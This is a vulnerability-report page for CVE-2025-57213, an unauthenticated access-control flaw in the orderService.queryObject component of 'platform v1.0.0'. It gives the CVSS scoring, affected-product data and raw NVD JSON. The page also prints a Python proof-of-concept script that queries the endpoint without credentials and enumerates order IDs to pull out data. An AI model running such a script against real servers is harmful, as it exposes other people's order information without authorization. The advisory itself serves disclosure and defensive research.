Security Vulnerability Report
中文
CVE-2025-57213 CVSS 7.5 HIGH

CVE-2025-57213

Published: 2025-12-04 16:16:22
Last Modified: 2025-12-05 22:15:51

Description

Incorrect access control in the component orderService.queryObject of platform v1.0.0 allows attackers to access sensitive information via a crafted request.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:fuyang_lipengjun:platform:1.0.0:*:*:*:*:*:*:* - VULNERABLE
platform v1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-57213 PoC - Incorrect Access Control in orderService.queryObject # Target: platform v1.0.0 # Vulnerability: Allows unauthenticated access to sensitive information def exploit_cve_2025_57213(target_url): """ Exploit for CVE-2025-57213 The vulnerable endpoint does not properly validate access control, allowing attackers to query sensitive objects without authentication. """ # Target endpoint for orderService.queryObject endpoint = f"{target_url}/orderService/queryObject" # Crafted request to query object information # Attackers can enumerate object IDs to extract sensitive data payload = { "id": 1, # Object ID to query (can be enumerated) "queryType": "order" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending request to {endpoint}") print(f"[*] Payload: {json.dumps(payload)}") response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") if response.status_code == 200: data = response.json() if data and "data" in str(data): print("[!] VULNERABLE - Sensitive information exposed!") return True return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def enumerate_objects(target_url, start_id=1, end_id=100): """ Enumerate multiple object IDs to extract sensitive data """ results = [] for obj_id in range(start_id, end_id + 1): payload = {"id": obj_id, "queryType": "order"} try: response = requests.post( f"{target_url}/orderService/queryObject", json=payload, timeout=5 ) if response.status_code == 200: results.append({"id": obj_id, "data": response.text}) except: pass return results if __name__ == "__main__": target = "http://target-vulnerable-server.com" exploit_cve_2025_57213(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57213", "sourceIdentifier": "[email protected]", "published": "2025-12-04T16:16:21.970", "lastModified": "2025-12-05T22:15:50.793", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the component orderService.queryObject of platform v1.0.0 allows attackers to access sensitive information via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fuyang_lipengjun:platform:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8C82427C-E06A-41B9-9870-90D6C63CD6E1"}]}]}], "references": [{"url": "https://gist.github.com/xueye0629/620e4e0cc0f23c903736971e6375f00e", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/fuyang_lipengjun/platform", "source": "[email protected]", "tags": ["Product"]}]}}